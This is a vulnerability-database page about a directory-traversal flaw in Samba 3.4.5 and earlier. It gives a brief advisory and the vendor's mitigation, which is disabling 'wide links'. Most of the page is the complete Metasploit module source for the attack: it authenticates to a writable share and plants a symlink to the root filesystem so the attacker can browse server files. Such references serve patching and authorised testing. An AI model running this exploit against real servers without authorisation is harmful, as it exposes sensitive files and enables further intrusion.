Lucene search
K

Samba <= 3.4.5 Symlink Directory Traversal Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 19 Views

Samba <= 3.4.5 Symlink Directory Traversal Vulnerabilit

Code

                                                source: http://www.securityfocus.com/bid/38111/info

Samba is prone to a directory-traversal vulnerability because the application fails to sufficiently sanitize user-supplied input.

Exploits would allow an attacker to access files outside of the Samba user&#39;s root directory to obtain sensitive information and perform other attacks.

To exploit this issue, attackers require authenticated access to a writable share. Note that this issue may be exploited through a writable share accessible by guest accounts.

NOTE: The vendor stated that this issue stems from an insecure default configuration. The Samba team advises administrators to set &#39;wide links = no&#39; in the &#39;[global]&#39; section of &#39;smb.conf&#39;.

##
# $Id: samba_symlink_traversal.rb 8369 2010-02-05 06:38:24Z hdm $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require &#39;msf/core&#39;


class Metasploit3 &#60; Msf::Auxiliary

	# Exploit mixins should be called first
	include Msf::Exploit::Remote::DCERPC
	include Msf::Exploit::Remote::SMB
	include Msf::Auxiliary::Report

	# Aliases for common classes
	SIMPLE = Rex::Proto::SMB::SimpleClient
	XCEPT  = Rex::Proto::SMB::Exceptions
	CONST  = Rex::Proto::SMB::Constants


	def initialize
		super(
			&#39;Name&#39;        =&#62; &#39;Samba Symlink Directory Traversal&#39;,
			&#39;Version&#39;     =&#62; &#39;$Revision: 8369 $&#39;,
			&#39;Description&#39; =&#62; %Q{
				This module exploits a directory traversal flaw in the Samba
			CIFS server. To exploit this flaw, a writeable share must be specified.
			The newly created directory will link to the root filesystem.
			},
			&#39;Author&#39;      =&#62;
				[
					&#39;kcope&#39;, # http://lists.grok.org.uk/pipermail/full-disclosure/2010-February/072927.html
					&#39;hdm&#39;    # metasploit module
				],
			&#39;License&#39;     =&#62; MSF_LICENSE
		)

		register_options([
			OptString.new(&#39;SMBSHARE&#39;, [true, &#39;The name of a writeable share on the server&#39;]),
			OptString.new(&#39;SMBTARGET&#39;, [true, &#39;The name of the directory that should point to the root filesystem&#39;, &#39;rootfs&#39;])
		], self.class)

	end


	def run
		print_status(&#34;Connecting to the server...&#34;)
		connect()
		smb_login()

		print_status(&#34;Trying to mount writeable share #{datastore[&#39;SMBSHARE&#39;]}...&#34;)
		self.simple.connect(datastore[&#39;SMBSHARE&#39;])

		print_status(&#34;Trying to link &#39;#{datastore[&#39;SMBTARGET&#39;]}&#39; to the root filesystem...&#34;)
		self.simple.client.symlink(datastore[&#39;SMBTARGET&#39;], &#34;../&#34; * 10)

		print_status(&#34;Now access the following share to browse the root filesystem:&#34;)
		print_status(&#34;\t\\\\#{rhost}\\#{datastore[&#39;SMBSHARE&#39;]}\\#{datastore[&#39;SMBTARGET&#39;]}\\&#34;)
		print_line(&#34;&#34;)
	end

end

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation